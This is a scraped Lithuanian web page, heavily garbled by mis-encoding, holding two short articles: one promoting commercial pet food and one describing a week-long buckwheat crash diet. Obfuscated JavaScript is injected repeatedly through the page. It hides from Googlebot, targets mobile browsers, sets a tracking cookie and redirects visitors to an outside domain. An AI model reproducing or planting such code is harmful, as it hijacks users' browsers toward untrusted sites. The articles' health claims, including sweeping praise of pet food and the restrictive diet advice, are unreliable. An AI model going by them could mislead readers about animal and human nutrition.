-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

GyvAi??nA? maistas ai??i?? pigu, greita ir sveika

Ai??vairiausi gyvAi??nai ir gyvAi??nAi??liai seniai tapo daugiau nei tik maisto A?altinis ar darbo jAi??ga. Ai??vairios civilizacijos jau kelis tAi??kstantmeA?ius augina kates, A?unis bei kitus gyvAi??nus dAi??l jA? groA?io ar tiesiog kompanijos. Kiekvienas savo gyvAi??nAi??lA? mylintis A?mogus, jA? lepina ir stengiasi maitinti kuo kokybiA?kiau, todAi??l atsirado A?vairus specializuotas maistas gyvAi??nams ir gyvAi??nAi??liams.

PagrindinAi??s prieA?astys lAi??musios, kodAi??l A?monAi??s savo gyvAi??nams perka specialA? maistAi?? yra trys: pigu, greita, sveika. VisA? pirma A?erti savo naminA? augintinA? specializuotu gyvAi??nA? maistu yra A?ymiai pigiau nei tuo, kurA? valgome patys.

akita-inu-4

Specializuotas sausas, konservuotas ar dA?iovintas gyvAi??nA? maistas gaminamas itin dideliais kiekiais, todAi??l jo savikaina ganAi??tinai nedidelAi??. Taip pat gyvAi??nA? maistas gaminamas taip, jog bAi??tA? labiau maistingas ir sotus, nei skanus, todAi??l jo gamybai nenaudojami skonio stiprikliai ar kokios nors ypatingos technologijos. NedidelAi?? savikaina ir tai, jog gyvAi??nams daug svarbiau maistinAi?? produkto vertAi??, o ne jo skonis lAi??mAi?? tai, kad Ai??dalo kaina yra A?enkliai maA?esnAi?? uA? A?moniA? mAi??gstamo maisto.

TurbAi??t ir neverta aiA?kinti, kiek daug laiko sutaupome savo naminius gyvAi??nus A?erdami jau paruoA?tu Ai??dalu. UA?tenka praplAi??A?ti Ai??dalo pakuotAi?? ir A? A?uns indelA? A?pilti sauso Ai??dalo, turbAi??t tai pats lengviausias maisto ruoA?imo procesas, koks tik gali bAi??ti. Greitas paruoA?imas, lemiantis asmeninio laiko taupymAi??, greiA?iausiai ir lAi??mAi?? tai, jog sausas A?unA? ir kaA?iA? Ai??dalas tapo toks populiarus.

Maistas gyvAi??nams netik taupo JAi??sA? laikAi?? ir yra pigus, taA?iau kartu yra labai sveikas. GreiA?iausiai visi A?inote, jog gyvAi??nai jauA?ia koks maistas yra geras ir maistingas, o kuris tiesiog greitas pusfabrikatis. Jei kada nors bandAi??te savo A?uniui suA?erti bulviA? traA?kuA?iA? ar dar kokio nors greito ir itin nesveiko maisto, turbAi??t pastebAi??jote, jog gyvAi??nas jA? net neragavo. Tuo tarpu A?uo ar katinas net nesusimastydamas godA?iai kemA?a specializuoto sauso Ai??dalo kubelius. Taip yra todAi??l, jog specializuotas gyvAi??nA? maistas gaminamas tik iA? sveikA?, pirmarAi??A?iA? produktA?.

Taigi specializuotas naminiA? gyvAi??nA? maistas taupo A?eimininko brangA? laikAi??, yra ganAi??tinai pigus ir tuo paA?iu sveikas ir maistingas paA?iam gyvAi??nui.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

GrikiA? dieta ai??i?? tik stipriausioms

Jei reikia greitai ir efektyviai numesti svorio, visuomet tenka iA?girsti siAi??lymo laikytis grikiA? dietos. Ai??i dieta priskiriama mono dietoms, kadangi jos pagrindAi?? iA? esmAi??s sudaro vienas produktas ai??i?? grikiai.

GrikiA? dietos principai

GrikiA? dieta rekomenduojama 7 dienoms. Jos metu valgoma grikiA? koA?Ai??, kuri ruoA?iam be riebalA?, druskos ar prieskoniA?. ParuoA?imas paprastas: tereikia nuplauti grikiA? kruopas, supilti A? indAi?? ir uA?pilti vandeniu. Palikti brinkti kelioms valandoms arba geriau uA?pilti iA? vakaro. 100 g grikiA? kruopA? pilnai uA?tenka dienai.

svoris

Virti grikiA? koA?Ai??s nerekomenduojama, nes tada ji praranda daug mineraliniA? medA?iagA?. Valgant nevirtus, o iA?brinkintus grikius organizmas gauna kalcio, kalio, geleA?ies, jodo, fosforo, tad nereikia papildomai naudoti maisto papildA?.

GrikiA? dieta papildoma kefyru

GrikiA? dietos racionAi?? rekomenduojama papildyti baltymA? A?altiniu ai??i?? neriebiu kefyru, natAi??raliu jogurtu, rAi??gpieniu. Svarbiausia, jog tai bAi??tA? neriebAi??s rauginto pieno produktai. JA? per dienAi?? galima iA?gerti iki litro. Toms, kurioms grikiA? koA?Ai?? atrodo per sausa ir neskani, taip suteikiama galimybAi?? pasiskaninti jAi?? jogurtu. TaA?iau mitybos specialistai teigia, jog daugiau naudos A?iuos maisto produktus valgant atskirai.

GrikiA? koA?Ai?? ir kefyras suteikia pakankamai energijos organizmui bei maistiniA? medA?iagA?. TaA?iau jei visgi kankina alkis, galima uA?kandA?iams suvalgyti saujAi?? dA?iovintA? vaisiA?.

Dietos metu galima gerti vandenA?, arbatAi??, kavAi??, taA?iau gAi??rimai turi bAi??ti nesaldinti.

PorcijA? paskirstymas

Dietos metu galima valgyti daA?nai, taA?iau maA?omis porcijomis. Tarpai tarp valgiA? turi bAi??ti nedidesni nei dvi valandos. PaskutinA? kartAi?? galima valgyti 3 valandas prieA? miegAi??.

Kaip daA?nai galima laikytis grikiA? dietos?

GrikiA? dieta yra itin efektyvi, taA?iau, A?inoma, grA?A?us prie A?prastos mitybos, ypaA? jei ji nesubalansuota ir nesveika, kilogramai vAi??l sugrA?A?ta. Tad kyla noras vAi??l laikytis A?ios dietos. Visgi itin daA?nai jos laikytis negalima. Specialistai rekomenduoja grikiA? dietos laikytis be daA?niau kaip kas 3-6 mAi??nesius, taigi laikytis galima 2-4 kartus per metus.

Kam draudA?iama laikytis grikiA? dietos?

Ai??iosAi?? dietos laikytis draudA?iama nAi??A?A?iosioms ir maitinanA?ioms, taip pat A?monAi??ms sergantiems chroniA?komis ligomis, A?monAi??ms, kurie neseniai sirgo ir jA? imunitetas yra nusilpAi??s. PrieA? laikantis dietos visuomet reikia pasitarti su gydytoju.

Daugiau informacijos tinklalapyje Los.lt

Savevar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 